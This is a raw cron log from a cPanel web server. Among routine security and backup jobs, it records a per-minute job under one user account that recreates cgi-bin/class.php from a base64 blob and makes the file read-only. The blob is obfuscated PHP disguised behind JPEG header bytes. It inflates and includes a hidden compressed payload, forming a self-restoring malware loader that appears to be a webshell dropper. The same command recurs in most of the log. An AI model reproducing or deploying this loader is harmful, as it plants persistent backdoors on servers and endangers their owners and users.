Sep 11 05:44:01 server CROND[15559]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:44:01 server CROND[15561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:45:01 server CROND[15944]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 05:45:01 server CROND[15945]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:45:01 server CROND[15946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:45:01 server CROND[15948]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 05:45:01 server CROND[15947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:45:01 server CROND[15949]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 05:45:01 server CROND[15950]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 05:46:01 server CROND[16861]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:46:01 server CROND[16862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:46:01 server CROND[16863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:47:01 server CROND[17252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:47:01 server CROND[17253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:47:01 server CROND[17254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:48:01 server CROND[17636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:48:01 server CROND[17637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:48:01 server CROND[17638]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:49:01 server CROND[18029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:49:01 server CROND[18030]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:49:01 server CROND[18031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:50:01 server CROND[18414]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 05:50:01 server CROND[18416]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 05:50:01 server CROND[18425]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 05:50:01 server CROND[18424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:50:01 server CROND[18428]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 05:50:01 server CROND[18426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:50:01 server CROND[18431]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 05:50:01 server CROND[18429]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 05:50:01 server CROND[18433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:51:01 server CROND[19396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:51:01 server CROND[19397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:51:01 server CROND[19399]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:52:01 server CROND[19770]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep 11 05:52:01 server CROND[19771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:52:01 server CROND[19773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:52:01 server CROND[19772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:53:01 server CROND[20484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:53:01 server CROND[20486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:53:01 server CROND[20485]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:54:01 server CROND[20866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:54:01 server CROND[20867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:54:01 server CROND[20868]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:55:01 server CROND[21245]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 05:55:01 server CROND[21247]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 05:55:01 server CROND[21249]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 05:55:01 server CROND[21252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:55:01 server CROND[21253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:55:01 server CROND[21251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:55:01 server CROND[21250]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
